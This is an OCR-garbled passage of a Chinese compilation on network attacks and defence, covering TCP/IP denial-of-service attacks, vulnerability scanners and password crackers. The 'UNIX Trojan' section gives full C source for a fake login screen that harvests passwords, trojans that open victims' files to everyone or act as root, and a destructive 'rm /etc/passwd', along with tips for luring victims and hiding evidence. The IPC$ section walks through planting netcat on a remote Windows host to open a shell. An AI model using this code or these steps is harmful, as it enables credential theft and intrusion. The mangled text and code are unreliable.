網(wǎng)絡功防技術(shù)與電腦網(wǎng)絡基礎(chǔ)知識匯編(中編)_第1頁
網(wǎng)絡功防技術(shù)與電腦網(wǎng)絡基礎(chǔ)知識匯編(中編)_第2頁
網(wǎng)絡功防技術(shù)與電腦網(wǎng)絡基礎(chǔ)知識匯編(中編)_第3頁
網(wǎng)絡功防技術(shù)與電腦網(wǎng)絡基礎(chǔ)知識匯編(中編)_第4頁
網(wǎng)絡功防技術(shù)與電腦網(wǎng)絡基礎(chǔ)知識匯編(中編)_第5頁
已閱讀5頁,還剩168頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

破壞TCP/IP

一個利用TCP/IP協(xié)議軟件弱點進行進攻的經(jīng)典的例子是PingofDeath攻擊.利用的具體

方法是,你的對手創(chuàng)建一個超過了IP標準的最大長度-65535個字節(jié)的IP數(shù)據(jù)包.當這個“浮

腫的"數(shù)據(jù)包到達的時候,它就使得一個使用脆弱的TCP/IP協(xié)議軟件和操作系統(tǒng)的服務器癱

瘓.

所有現(xiàn)代的操作系統(tǒng)和協(xié)議軟件對PingofDeath攻擊都有免疫力,但是老的Unix系統(tǒng)可

能仍然是脆弱的.

另一個利用粗制濫造的TCP/IP軟件進行攻擊的例子是Teardrop,它利用了系統(tǒng)重組IP

數(shù)據(jù)包過程中的漏洞.一個數(shù)據(jù)包在從互聯(lián)網(wǎng)的另一端到你這里的路上也許會被分拆成更小

的數(shù)據(jù)報文.這些數(shù)據(jù)報中的每一個都擁有最初的IP數(shù)據(jù)報的報頭,同時還擁有一個偏移字

節(jié)來標示它擁有原始數(shù)據(jù)報中的哪些字節(jié).通過這些信息,一個被正常分割的數(shù)據(jù)報文能夠在

它的目的地被重新組裝起來,并且網(wǎng)絡也能夠正常運轉(zhuǎn)而不被中斷.當一次Teardrop攻擊開始

時,你的服務器將受到擁有重疊的偏移字段的IP數(shù)據(jù)包的轟炸.如果你的服務器或是路由器

不能丟棄這些數(shù)據(jù)包而且如果企圖重組它們,你的服務器就會很快癱瘓.如果你的系統(tǒng)被及時

更新了,或者你擁有一個可以阻擋Teardrop數(shù)據(jù)包的防火墻,你應該不會有什么麻煩.

利用TCP/IP協(xié)議本身的漏洞來進行攻擊的手段也很多.這些手段中最流行的就是SYN

攻擊.SYN工作的原理就是利用兩個互聯(lián)網(wǎng)程序間協(xié)議握手的過程進行的攻擊.協(xié)議握手的

過程如下,其中一個應用程序向另一個程序發(fā)送一個TCPSYN(同步)數(shù)據(jù)包.然后目標程序向

第一個程序發(fā)送一個TCP-ACK應答數(shù)據(jù)包作為回答;第一個程序最后用一個ACK應答數(shù)據(jù)

包確認已經(jīng)收到.一旦這兩個程序握手成功,它們就準備一起運行了.

SYN攻擊用一堆TCPSYN數(shù)據(jù)包來淹沒它的受害者.每個SYN數(shù)據(jù)包迫使目標服務器

產(chǎn)生一個SYN-ACK應答數(shù)據(jù)包然后等待對應的ACK應答.這很快就導致過量的SYN-ACK

一個接一個的堆積在緩存隊列里.當緩存隊列滿了以后,系統(tǒng)就會停止應答到來的SYN請求.

如果SYN攻擊中包括了擁有錯誤IP源地址的SYN數(shù)據(jù)包,情況很快就會變得更糟.在這種情

況下,當SYN-ACK被送出的時候,ACK應答就永遠不會被收到.飛快充滿的緩存隊列使得合

法程序的SYN請求無法再通過.

更加厲害的是,與之相似的and攻擊手段使用欺騙性的SYN數(shù)據(jù)包,它帶有一個偽裝的IP

地址,使得它看起來像是來自你自己的網(wǎng)絡.現(xiàn)在,SYN攻擊就像是來自于你防火墻的內(nèi)部,這

使得問題更加嚴重.

大多數(shù)時新的操作系統(tǒng)和防火墻可以阻止SYN攻擊.另一個簡單的阻止SYN攻擊的方

法是阻塞掉所有帶有己知的錯誤的IP源地址的數(shù)據(jù)包.這些數(shù)據(jù)包應該包括帶有錯誤的為內(nèi)

部保留的IP地址的外部數(shù)據(jù)包,它的范圍是從?1]55,至I)

55,從至U55以及從至U55

UNIX下的特洛伊木馬

“UNIX安全”是種矛盾的說法。UNIX系統(tǒng)是很容易就可以用暴力法攻破,因為大多

數(shù)UNIX系統(tǒng)并沒有設置登錄次數(shù)限制,而且還有諸如root、bin、sys、uucp等缺省用戶。

一旦進入了系統(tǒng),就很容易獲得系統(tǒng)控制權(quán)。如果懂得C語言,你甚至可以使系統(tǒng)為你工

作,完全除去系統(tǒng)的安全屏障,建立自己的帳號,讀取別人的文件,等等。這些事情都可以

通過本文中簡單的C語言代碼來實現(xiàn)。

需求:

首先,你需要有一個有效的UNIX系統(tǒng)帳號。如果該UNIX系統(tǒng)是運行在如PDP/11、

VAX、Pyramid等機器上的相對簡單的UNIX系統(tǒng)(如4.2bsd或AT&TSystemV等),則則

會獲得很好的效果。如果你在學校擁有一個基于這些系統(tǒng)的帳號,那就再好不過了。

注釋:

本文的起因是1986年4月刊登的一篇題目為“UNIX安全”的文章。在這篇文章中,

作者說到:''我們希望,我們所提供的資料在一定程度上引起人們的興趣和避免UNIX過于

容易成為“駭客們的食譜”。因此我們有意省略了某些細節(jié)?!庇谑俏腋鶕?jù)這篇文章的大綱,

按照其中談到的方法,編寫出以下清晰完整的例子。

實例一:騙取密碼

只要有一點UNIX和C知識,你會發(fā)現(xiàn)做到這一點根本不難。但是,你首先必須有權(quán)

訪問一臺許多人都可以使用的計算機,如學校中的公用計算機。

當?shù)卿浀揭粋€UNIX系統(tǒng)時,會出現(xiàn)類似以下內(nèi)容的屏幕:

TiburonSystems4.2bsd/SystemV(shark)ogin:shark

Password:(無回顯)

以下程序模擬了一個登錄過程。你在終端上運行該程序后就離開。那些無知的“笨蛋”

會上來輸入他們的帳號和密碼,這些都會保存在一個文件里。然后屏幕顯示“oginincorrect”

(登錄錯誤),并要求這個“笨蛋”再次登錄。這一次才是真正的登錄程序,當然會成功登

錄了(真是一群“笨蛋”)。

把以下程序代碼輸入名為“horse.c”的文件中。注意,你需要針對不同系統(tǒng)的顯示更改

程序的前8行。

CodeBeginsHere

/*thisiswhata^'commentooksike.Youcaneavethemout.*/

/^define'sareikemacrosyoucanuseforconfiguration.*/

#defineSYSTEM"\n\nTiburonSystems4.2bsdUNIX(shark)\n\nn

/*Theabovestringshoudbemadetoookikethemessagethatyour

*systemprintswhenready.Each\nrepresentsacarriagereturn.*/

#defineOGIN,,ogin:H

/*Theaboveistheoginprompt.Youshoudn'thavetochangeit

*unessyouYerunningsomestrangeversionofUNIX.*/

#definePASSWORDMpassword:"

/*Theaboveisthepasswordprompt.Youshoudn^havetochange

*it,either.

*/

#defineWAIT2

/*ThenumericavaueassignedtoWAITisthedeayyougetafter

*,,password:"andbefore',oginincorrect."Changeit(0=amost

*nodeay,5=ONGdeay)soitooksikeyoursystem'sdeay.

*reaismisthekeyhere-wedon^wantourtargettobecome

*suspicious.

*/

#defineINCORRECTnoginincorrect.\n"

/*Changetheabovesoitiswhatyoursystemsayswhenanincorrect

*oginisgiven.Youshoudn^havetochangeit.

*/

#defineFIENAME"stuff,

/*FIENAMEisthenameofthefiethatthehackedpasswordswi

*beputintoautomaticay/stuffisaperfectygoodname.

*/

/*Don'tchangetherestoftheprogramunessthereisaneedto

*andyouknow'C'.

*/

#incude<curses.h>

#incude<signa.h>

intstopO;

main()

{chamame[l0],password[10];

inti;FIE*fp,*fopen();

signa(SIGINT,stop);

initscr();

printf(SYSTEM);

printf(OGIN);

scanf(*'[A\n]",name);

getchar();

noecho();

printf(PASSWORD);

scanf(n[A\n]u,password);

printf("\nn);

getchar();

echo();

seep(WAIT);

if((fp=fopen(FIENAME,,'a"))!=NU){#fprintf(fp,"oginshaspasswords\n",name,password);

#fcose(fp);#}printf(INCORRECT);endwin();}

stop(){endwin();exit(0);}

SourceEndsHere

OK,正如我所說的,輸入以上代碼,并修改它,使它看起來與真正的登錄過程完全一

致。編譯horse.c文件。(不必輸入,它只是系統(tǒng)提示符。)

cchorse.c-curses-termcap

mva.outhorse

現(xiàn)在你已有了可執(zhí)行文件horse。運行它,如果所顯示的內(nèi)容與真正的登錄過程不一樣,

便重新編輯horse.c源程序,并重新編譯。在使用木馬程序前,建立名為trap(或者其他名

字)的文件,內(nèi)容如下:

horse(運行木馬程序)

ogin(運行系統(tǒng)登錄程序)

執(zhí)行trap文件:

sourcetrap(重復:不要輸入)

然后離開終端…

程序運行幾次后,檢查stuff文件(或者你定義的任何文件),其內(nèi)容應類似如下:

userjohnhaspasswordsecret

usermaryhaspasswordsmegma

etc.

記錄下這些帳號和密碼,然后刪除這個文件。(否則,如果超級用戶看到這個文件,你

可就危險了。)

注:為了取得更好的效果,終端最好設置為在一定時間內(nèi)無用戶登錄便退出。這樣,即

使無人使用該終端,木馬程序也不會空運行漫長的14小時(或更長)了。

下一個實例運行在一個遠程系統(tǒng)上,如你已成功侵入的諸如Michigan的VAX、

Dratmouth的UNIX等系統(tǒng)。然而,它要求UNIX初學者具有一定的C語言知識。

實例二:讀取他人文件

當用戶運行一個程序的時候,他們就是被創(chuàng)建進程的擁有者,程序便可以做出任何不超

越其權(quán)限的事情,如刪除文件,創(chuàng)建文件,并賦予他人訪問的權(quán)限等。

當用戶在UNIX系統(tǒng)上保存郵件時,郵件被保存在用戶根目錄下的mbox文件中。在缺

省情況下,該文件僅能由用戶讀取。下面的小程序可以解鎖運行此程序的用戶mbox文件(如

使用chmod777命令,即允許系統(tǒng)中的任意用戶擁有完全訪問權(quán)限):

CodeBeginsHere

#incude<pwd.h>

structpasswd*getpwnam(name);

structpasswd*p;

charbuf[255];

main(){p=getpwnam(getogin());

sprintf(buf,,'s/s,,,p->pw_dir,"mbox',);if(access(buf,0)>-l){sprintf(buf,,'chmod777s/s,,,p->pw_

dir,“mbox”);

system(buf);}}

CodeEndsHere

現(xiàn)在,問題是:怎樣才能讓攻擊目標運行這個程序呢?

如果系統(tǒng)有發(fā)布消息的功能(如4.xbsd中的msgs命令),你可以將程序發(fā)布出去。到

UNIXWORD等雜志上找一個工具或游戲程序,并將以上代碼插入到程序里。例如,你有一

個tic-tac-toe程序,并已將木馬代碼放入tic-tac-toe程序真正運行的代碼之前,你便可以發(fā)

布“我有一個新的tic-tac-toe程序,你們可以測試它,可在我的目錄下找到它。”之類的消

息。你也可以單獨向你的欺騙目標發(fā)出類似的郵件。

如果你找不到一個程序可以插入木馬,也可以在以上代碼最后兩個}間插入以下代碼:

printf("Erroropeningtic-tac-toedatafie.Sorry!\n");

當此程序運行,它將顯示以上錯誤信息。用戶就會想:“嗯,這小子連這么簡單的

tic-tac-toe程序都不會寫!”但其實可笑的是他——你現(xiàn)在已經(jīng)可以讀取他的郵件了。

如果你想讀取某個用戶目錄下的特定文件(例如“secret"),只要向這個用戶投寄以下

程序:

main()

{if(access("secret",0)>-l)system("chmod777secret");}

然后與他“交談"或通信,象Joeoser所說的:“我剛寫了一個super_star-wars程序,你

愿意測試一下嗎?”

無論你希望何人運行某一命令,都不是一件難事,只要把他放進C程序中的system。

函數(shù),然后誘騙他運行這個程序!

下面是利用以上技術(shù)的一些用法:

實例三:成為超級用戶

寫一個讓別人運行的程序,插入下面代碼:

if(!strcmp(getogin(),uroot,,))system(,'whateveryouwantH);

該代碼檢查root用戶是否在運行本程序。如是,你便可以利用他的權(quán)限執(zhí)行你所希望

的命令了(只要將whateveryouwant改為該命令即可)。以下是常用的命令:

"chmod666/etc/passwd"

/etc/passwd是系統(tǒng)密碼文件,只有root用戶可以讀寫,在一般情況下,其他用戶只能讀

(密碼是經(jīng)加密的)。如你不清楚其結(jié)構(gòu)格式,可以查看它。上面的命令使你也可以讀寫該

文件一一如為自己和朋友建立無權(quán)限限制的帳號。

"chmod666/etc/group"

通過把自己加入某些具有高級權(quán)限的組,你便可以為所欲為了。

"chmod666/usr/ib/uucp/.sys"

檢查這個文件確定這個系統(tǒng)是否在UUCP(UNIX-UNIXCONNECTIONPROTOCO)網(wǎng)

絡上。此文件包含了訪問網(wǎng)絡中其他系統(tǒng)的撥號用戶和密碼,以一般情況下,只有UUCP

管理員能讀取它。找到UUCP管理員帳號并誘使其在不知情的情況下運行以上代碼,你便

可以讀取它了。

"rm/etc/passwd"

如果你誘使root用戶運行這行代碼,就會刪除系統(tǒng)密碼文件,此系統(tǒng)將停機,并且不

能再次運行了。這是具有相當破壞力的。

當你準備向系統(tǒng)放置特洛伊木馬,有幾條規(guī)則應該注意。

如果隱蔽性是主要的,(如侵入用戶郵箱或刪除他的所有文件等,)那么這個程序不應該

被過多地執(zhí)行(如一個流行的電腦游戲)旦用戶發(fā)現(xiàn)他們的文件被允許完全訪問,那

么他是比較容易找到原因的。為了加強木馬的隱蔽性,程序應該表明為“測試”程序(比如

你正在編寫的游戲),并且請求個別人運行它,并與他們“交流”意見(只是為了欺騙他們)。

正如我所說的,“測試”程序在完成其任務后,可以顯示虛假的錯誤消息。你便可以對他們

說:“唉呀,我想我要繼續(xù)修改它?!痹谒麄冸x開后,你便可以讀取已被你解鎖的文件了。

如果木馬程序的主要目的是捕捉運行此程序的特定用戶一一如root或其他高級用戶,

你就應該把木馬程序代碼放入可被系統(tǒng)中絕大多數(shù)用戶頻繁執(zhí)行的程序里。因為木馬程序在

特定用戶運行前是隱匿的。

如果你發(fā)現(xiàn)C語言代碼很難理解,你就必須從PASCA語言等轉(zhuǎn)變過來并學會C語言。

這種情況不會有損C語言作為一種偉大的編程語言。

以上我們已經(jīng)看到在UNIX系統(tǒng)上怎樣做了。一旦你捕捉到了root用戶(如你可以修

/etc/passwd文件),就要從特洛伊木馬程序中刪除有關(guān)欺騙的代碼,這樣你就永遠不會被捉

住了。

詳解「?$入侵方法

一、什么是IPC$漏洞

IPC$是共享“命名管道”的資源,它對于程序間的通訊很重要。在遠程管理計算機和

查看計算機的共享資源時使用。利用1PC$我們可以與目標主機建立一個空的連接(無需用

戶名與密碼),而利用這個空的連接,我們就可以得到目標主機上的用戶列表。用“流光”

的IPC$探測功能,就可以得到用戶列表了,并可以配合字典,進行密碼嘗試。

二、駭客是如何利用^^$漏洞

我們要使用到的工具有:

1.流光4.6()有提供下載!流光禁止掃描國內(nèi)的主機,請不要打免IP的補丁,否則你

就會覺得流光更本沒有用處,榕哥這樣做的原因也是希望駭客不要破壞國內(nèi)主機!

其實并不需要我們使用很多工具,因為流光一個就可以幫我們搞定了!

2.SRV這個工具也在流光的目錄中,很多防火墻將他列為病毒,其實這是一個很好的工

具。全名是NetCat,這里改名為Srv.exe。用于在主機建立一個端口為99的she。然后我們

就可以TENET1P99上去了。

3.Ntm.exe:是榕哥寫的一個程序,用于修改Windows2000TenetServery身份驗證的方式。

測試IP:

熟悉了使用工具的話,下面我們來看看駭客是怎么入侵的。

第一步:運行流光4.6(如下圖所示)

按CTR+R鍵彈出掃描框,我們這里只是做個測試,目的是告訴大家這個漏洞的危害,

所以我們現(xiàn)在隨便選擇一段IP進行掃描。我們掃描的是12700.1

其他的我們使用默認,不需要改變設置

第二步:大家打開WIN2000自帶的命令提示行,注意:這里我們不是教大家怎么破壞,

只是給大家介紹這個漏洞的危害,所以下面的IP是假設的,并不存在。

C:\>netuse\\127.0.0」\IPC$""/user:"admintitrators"〃這是我用流光掃到的密碼~一我們就

拿它開刀吧~上面的意思是與建立一個連接,因為我們使用流光已經(jīng)掃到用戶名是

administrators,密碼為[空],所以第一個雙引號那里不用輸入什么,后面一個雙引號里的是

用戶名,我們輸入administrators//命令成功完成。

首先大家先把需要用到的工具COPY的你自己的C盤下,就是在流光TOOS中。

C:\>copysrv.exe\\\admin$〃先復制srv.exe上去,在流光的Toos目錄就有。(這里的

ADMIN$是指ADMIN用戶的c:\winnt\system32\大家還可以使用c$,d$這個的意思是C盤與

D盤,這看你要復制到什么地方去了)

已復制1個文件。(成功了!*.*)

C:\>nettime\\127.0.0」〃查查時間。(這里的時間是指對方計算機的,也就是我們要入侵的

的時間,還有要提醒大家要注意的一點是,請把時間轉(zhuǎn)換為24小時制,因為不少

朋友問過我為什么啟動不了服務,其實就是因為時間的問題)/A\的當前時間是

2002/3/19上午11:00命令成功完成。

C:\>at\\lll:05srv.exe//用at命令啟動srv.exe吧~!(這里設置的時間要比主機時間

快,不然你怎么啟動啊,呵呵!)//新加了一項作業(yè),其作業(yè)ID=lC:\>nettime\\l〃再

查查夠時間沒有?!哈!時間到,ETSGOFOOWME!//\\127.0Ol的當前時間是2002/3/19上

午11:05命令成功完成。

C:\>tenet99〃我們tenet吧,注意端口是99哦,TENET默認的是23端口,但是

我們使用的是SRV在對方計算機中為我們建立一個99端口的SHE.////哈哈!進來了耶!

再給他加上一個ntmC:\>copyntm.exe\\\admin$〃我們再開一個DOS窗口,把ntm.exe

上傳到主機上。(也是在流光流光的Toos目錄)

已復制1個文件。

C:\WINNT\system32>ntm〃我們輸入ntm啟動吧。(這里的C:\WINNT\system32〉指的是

對方計算機,我們運行ntm其實是讓這個程序在對方計算機上運行)//ntm

Windows2000TenetDump,byAssassin,ARightsReserved.

Done!//OK了

C:\WINNT\system32>

C:\WINNT\system32>netstarttenet//然后直接用netstarttenet啟動tenet

Tenet服務器正在啟動.

Tenet服務器已經(jīng)啟動成功。//哈哈,我們成功了,該上去了

第三步:我們使用TENET到對方計算機上去

TENET

接著輸入用戶名與密碼就進入了

(我們已經(jīng)進來了,使用方法和DOS命令是一樣的)

這就是中國黑客入侵美國計算機的方法,在這之前是不是讓你覺得很神秘呢?其實很簡

單的。不要認為這就是黑客的方法,這只能說是駭客。最后希望大家不要那這種方法來實踐

國內(nèi)主機,否則我就成罪人了。

三、如何防范《^$漏洞

看來上面的方法是不是覺得該檢測一下自己是否有這個漏洞,還不趕快把這個漏洞給補

上?跟我來吧,下面我們將教你如何防范IPC$的入侵

解決方法

I、禁止建立空連接

[HKEY_OCA_MACHINE\SYSTEM\CurrentControSet\Contro\SA]

RestrictAnonymous=DWORD:00000001

2、禁止管理共享

[HKEY_OCA_MACHINE\SYSTEM\CurrentControSet\Services\anmanServer\Parameters]

AutoShareServer=DWORD:00000000

3.至Udeshare.zip

4.如果您覺得麻煩的話這樣也可以,netshareipc$/deete把這個放進你的啟動欄里面去

5.如果上面的方法您不會的話,這個方法可以說是最簡單的了。把您的密碼設置復雜一

下,一面被一些不懷好意的人使用工具給破出來。不過想提醒大家一點,在復雜的密碼都有

可能被破解

評價幾款黑客常用的攻擊工具

隨著企業(yè)網(wǎng)絡復雜性的增加,它也更容易受到攻擊。各種各樣的操作系統(tǒng)都有其特定的

配置,每個都在高度連接環(huán)境中高速運行著無數(shù)的設備和應用,結(jié)果由于意想不到的漏洞、

小故障和后門等,使得網(wǎng)管員直到闖入者使用未經(jīng)授權(quán)的網(wǎng)絡資源時,才意識到破壞的存在。

一種連根鏟除網(wǎng)絡中的弱點的方式是掃描。大批基于軟件的掃描工具可探測網(wǎng)絡中的操

作系統(tǒng)、應用、口令等易受攻擊的部位。事實上,在攻擊之前,欲闖入者使用這些工具來打

開網(wǎng)絡,因而掃描也是一種提前發(fā)現(xiàn)網(wǎng)絡裝甲上的裂縫的安全預防措施。

根據(jù)現(xiàn)有的技術(shù)知識水平,必須決定是自己掃描還是租用掃描服務。如果自己掃描,可

以選擇商業(yè)工具、開放資源或免費軟件工具。

有很多開放資源和免費軟件工具,如Nmap是黑客編寫的。為什么合法的網(wǎng)絡管理員有

時也會使用黑客工具?因為使用此類工具不僅對測試網(wǎng)絡的安全環(huán)境非常有效率,而且對了

解闖入者到底是怎樣闖入網(wǎng)絡的很有益處。但是,商業(yè)軟件包具有同樣的功能,而且有便于

使用的界面和報告功能。

Ping命令和端口數(shù)

漏洞掃描是從黑客的眼光來審視網(wǎng)絡的。表面上兩臺機器之間的通信暴露出了潛在的漏

洞信息,掃描工具把這些網(wǎng)絡信息與開發(fā)數(shù)據(jù)庫進行匹配,以決定哪個可以在網(wǎng)絡中表述。

漏洞掃描由三個基本步驟構(gòu)成。第一步是網(wǎng)絡發(fā)現(xiàn),使用Ping命令發(fā)現(xiàn)活躍的網(wǎng)絡設

備。Ping命令把因特網(wǎng)控制信息協(xié)議(ICMP)分組發(fā)送到目標系統(tǒng),尋找響應,這建立了闖

入者能作為攻擊目標個體的活躍主機的基本地圖。

第二步是端口掃描,辨認出那些在偵聽方式的端口以及可利用的活躍服務的端口。端口

掃描也能辨認出目標上的操作系統(tǒng),包括安裝的是哪個服務包或者內(nèi)核發(fā)布。要注意,僅發(fā)

現(xiàn)偵聽端口并不意味著漏洞。有時,闖入者必須探究更多的包操作以獲取有潛在破壞性的信

息。

在最后一步中,掃描器分析數(shù)據(jù)并產(chǎn)生報告,詳細描述潛在的漏洞和補救辦法。因為報

告數(shù)據(jù)至關(guān)重要,需要選擇一種清晰并有效地顯示結(jié)果的解決方案。在購買或使用任何掃描

器之前,應花些時間仔細審查報告樣品。

口令攻擊者

口令審計軟件是另一種對闖入者和管理人員都有用的評估工具。管理人員使用這樣的工

具審計用戶口令,保證其遵守正確的口令策略。許多開放資源口令攻擊者可以在因特網(wǎng)得到,

很多商業(yè)安全掃描器也包括口令審計。

第一個WindowsNT口令攻擊工具是OphtCrack,由OphtHeavylndustries集團開發(fā)。

WindowsNT通過把純文本轉(zhuǎn)換為無意義的字節(jié)串的加密方式隱藏口令,即哈希表方法。問

題是NT必須也能支持舊的哈希表算法,以和AN管理器兼容。因為OphtCrack已經(jīng)反向設

計了AN管理器口令加密功能,它生產(chǎn)同樣的哈希結(jié)果。因此,OphtCrack僅僅匹配哈希表,

而不解密口令。

產(chǎn)品通過三種方式利用這一缺點。首先,字典攻擊收集常作為口令的詞,并在其上運行

哈希算法;其次,它比較這個清單和NT哈希表,尋找匹配。如果找不出匹配,程序下一步

給字典清單中的詞添加隨機字符;最后,如果仍不成功,它運行一次強力攻擊,嘗試每一個

字母和符號的可能組合直到發(fā)現(xiàn)一個匹配。

上述情況聽起來就好像任何運行OphtCrack的熟手都能解開你的口令,但潛在的攻擊者

仍必須克服幾個障礙:首先,攻擊者必須得到儲存NT哈希表的安全賬號管理器(SAM)文件,

這要求在目標機上有管理員權(quán)限;其次,由于SAM文件和哈希表匹配需要時間,因而

OphtCrack也必須脫機運行。用OphtCrack攻擊口令的更復雜的方式可以功過查看更多信息

資源了解。

掃描和掃描器

在購買或下載最新和最好的網(wǎng)絡掃描器之前,應花一些時間尋找符合目標的工具。

很重要的一點是產(chǎn)品的易使用性。如果你喜歡圖形用戶界面而不是命令行界面,你可能

會傾向于商業(yè)產(chǎn)品。但是,沒人能阻止你既使用商業(yè)軟件又使用免費軟件工具。

當選擇產(chǎn)品時,要確保它按優(yōu)先順序列出漏洞。全面展開掃描可以產(chǎn)生一份幾百頁的報

告。如果你知道哪個問題是必須馬上處理的,列出這樣的清單更便于管理。

應該知道掃描會影響網(wǎng)絡的性能,達到什么程度取決于掃描的深度和設備的數(shù)目。確定

掃描時間,使其最不可能影響重要的業(yè)務,同時,尋找允許你定位特定系統(tǒng)的工具。你可能

希望能更經(jīng)常地掃描網(wǎng)絡特定的部分,事實上,用消耗資源的分組檢測來檢測你的設備是沒

有什么意義的。

發(fā)現(xiàn)漏洞數(shù)據(jù)庫更新的頻度。像病毒一樣,新漏洞總是不斷出現(xiàn),所以工具應該是能跟

上最新攻擊方式的。換句話說,有不同的列表和不同的計算漏洞的方式,這樣不會被很大的

數(shù)目搞得眼花繚亂。產(chǎn)品A可能顯示發(fā)現(xiàn)1萬處漏洞,而產(chǎn)品B則檢測出5千處,這并不

意味產(chǎn)品A更好。

可能人們也關(guān)心供應商是從什么地方得到漏洞信息的。當每一個銷售商利用如CERT、

BugTraq和SANS研究所等組織的公共郵件時,很多供應商也有機構(gòu)內(nèi)部研究隊伍,在廣泛

發(fā)布之前,已使你認識到安全漏洞的存在。

清掃

假設你已從頭到尾徹底檢查了你的網(wǎng)絡,已發(fā)現(xiàn)了漏洞、閱讀了報告并應用了補丁程序。

現(xiàn)在的網(wǎng)絡是百分之百安全了,至少直到聰明的編碼器發(fā)現(xiàn)一種全新的讓分組通過你的防火

墻的方式。

漏洞掃描不是一次性的補救,因為黑客能不斷發(fā)現(xiàn)新漏洞。此外,軟件供應商正不斷發(fā)

布他們產(chǎn)品的新版本,即使剛剛買到的新軟件都可能有未預知的漏洞,或者以意想不到的方

式和你的網(wǎng)絡相互影響。

掃描的頻率應取決于安全狀況,以及網(wǎng)絡設備的生命期。如果體系結(jié)構(gòu)相對穩(wěn)定,很少

更動或升級,可以少一些掃描。但是,特別敏感的網(wǎng)絡部分,則應保證經(jīng)常檢查。

總之,應準備在以后的掃描和清掃中投入大量的時間。簡單地忽視他們對于發(fā)現(xiàn)漏洞沒

有任何幫助。

掃描和表述

在正常的TCP通信序列中,客戶機器和服務器必須檢查三步握手以建立聯(lián)系??蛻魴C

通過把SYN分組發(fā)送給服務器啟動握手。如果服務器是可用的,它用一個SYN/ACK分組

應答通信。最后,客戶發(fā)送自己的ACK分組并建立聯(lián)系。

闖入者能操縱上述握手序列,以收集基于服務器反應的重要信息,包括錯誤配置的操作

系統(tǒng)和有已知漏洞的軟件版本。

下列的端口掃描通常被用來對付目標主機。清單已由出版者同意發(fā)布,摘自《揭露黑客》,

第二版(Osborne/McGrawHi,2001),由JoeScambray、StuartMcCure和GeorgeKurtz著。TCP

連接掃描。這種掃描和目標端口與完整的三步握手(SYN,SYN/ACK和ACK)相聯(lián)系。很容

易被目標系統(tǒng)檢測到。

TCPSYN掃描。該技術(shù)被稱為半開放掃描,因為未建立完整的TCP連接,而是給目標

端口發(fā)送SYN分組。如果SYN/ACK被目標端口收到,我們能推斷出它是在偵聽狀態(tài)中。

如果RST/ACK被收到,它通常表示端口沒在偵聽。執(zhí)行端口掃描的系統(tǒng)將發(fā)送RST/ACK,

這不會建立完整的連接。這種技術(shù)有比完全的TCP連接更隱蔽的優(yōu)勢,它可能不會被目標

機登錄。

TCPFIN掃描。該技術(shù)把FIN分組發(fā)送給目標端口。基于RFC793,目標系統(tǒng)應該向所

有關(guān)閉端口回送RSTo這技術(shù)通常僅對基于Unix的TCP/IP協(xié)議棧產(chǎn)生影響。

TCPXmasTree掃描。該技術(shù)是把FIN,URG和PUSH分組發(fā)送給目標端口。基于RFC793,

目標系統(tǒng)應該向所有關(guān)閉端口回送RSTo

TCPNu掃描。該技術(shù)關(guān)閉所有的標識,基于RFC793,目標系統(tǒng)應該向所有關(guān)閉端口回

送RSTo

TCPACK掃描。該技術(shù)設計出防火墻規(guī)則集,能幫助識別防火墻是一個僅允許建立的

聯(lián)系(有ACK位設置的連接)。通過簡單分組過濾還是執(zhí)行高級包過濾的嚴密防火墻。

TCPWindows掃描。該技術(shù)可以檢測某些系統(tǒng)的開放及過濾/無過濾端口(例如AIX和

FreeBSD)o它是根據(jù)未按常規(guī)報告TCP窗口大小判斷。

TCPRPC掃描。這是Unix系統(tǒng)所特有的技術(shù),能檢測和識別遠程過程調(diào)用(RPC)端口和

相應的程序及版本號。

資源

《揭露黑客》第二版的作者是JoeScambray、StuartMcCure和GeorgeKurtz,其中有幾章

在漏洞掃描、安全漏洞和口令攻擊方面有深入描述。

可以從開發(fā)者網(wǎng)站下載掃描工具Nmap。該站點也有安全漏洞清單和與其他掃描工具和

安全站點的連接。

信息安全雜志2000年7月到2000年10月發(fā)表了有關(guān)漏洞評估的四部分的系列文章。

Web站點WindowsITSecurity討論了如何在Windows2000系統(tǒng)下使用IOphtCrack。

拒絕服務攻擊原理及解決方法

Internet給全世界的人們帶來了無限的生機,真正實現(xiàn)了無國界的全球村。但是還有很多

困繞我們的因素,象1P地址的短缺,大量帶寬的損耗,以及政府規(guī)章的限制和編程技術(shù)的

不足?,F(xiàn)在,由于多年來網(wǎng)絡系統(tǒng)累積下了無數(shù)的漏洞,我們將面臨著更大的威脅,網(wǎng)絡中

潛伏的好事者將會以此作為缺口來對系統(tǒng)進行攻擊,我們也不得不為以前的疏忽付出更大的

努力。雖然大多的網(wǎng)絡系統(tǒng)產(chǎn)品都標榜著安全的旗號,但就我們現(xiàn)在的網(wǎng)絡協(xié)議和殘缺的技

術(shù)來看,危險無處不在。

拒絕服務攻擊是一種遍布全球的系統(tǒng)漏洞,黑客們正醉心于對它的研究,而無數(shù)的網(wǎng)絡

用戶將成為這種攻擊的受害者。TribeFoodNetwork,tfn2k,smurf,targa…還有許多的程序都在被

不斷的開發(fā)出來。這些程序想瘟疫一樣在網(wǎng)絡中散布開來,使得我們的村落更為薄弱,我們

不得不找出一套簡單易用的安全解決方案來應付黑暗中的攻擊。

在這篇文章中我們將會提供:

對當今網(wǎng)絡中的拒絕服務攻擊的討論。

安全環(huán)境中的一些非技術(shù)性因素以及我們必須克服的一些障礙問題。

如何認清產(chǎn)品推銷商所提供的一些謊言。

在我們正式步入對這些問題的技術(shù)性討論之前,讓我們先從現(xiàn)實的生活中的實際角度來

看一下這些困繞我們的問題。

當前的技術(shù)概況

在我們進入更為詳細的解決方案之前,讓我們首先對問題做一下更深入的了解。

與安全相關(guān)的這些小問題如果詳細來講的話都能成為一個大的章節(jié),但限于篇幅的原

因,我們只能先作一下大體的了解。

軟件弱點是包含在操作系統(tǒng)或應用程序中與安全相關(guān)的系統(tǒng)缺陷,這些缺陷大多是由于

錯誤的程序編制,粗心的源代碼審核,無心的副效應或一些不適當?shù)慕壎ㄋ斐傻?。根?jù)錯

誤信息所帶來的對系統(tǒng)無限制或者未經(jīng)許可的訪問程度,這些漏洞可以被分為不同的等級。

典型的拒絕服務攻擊有如下兩種形式:資源耗盡和資源過載。當一個對資源的合理請求

大大超過資源的支付能力時就會造成拒絕服務攻擊(例如,對已經(jīng)滿載的Web服務器進行

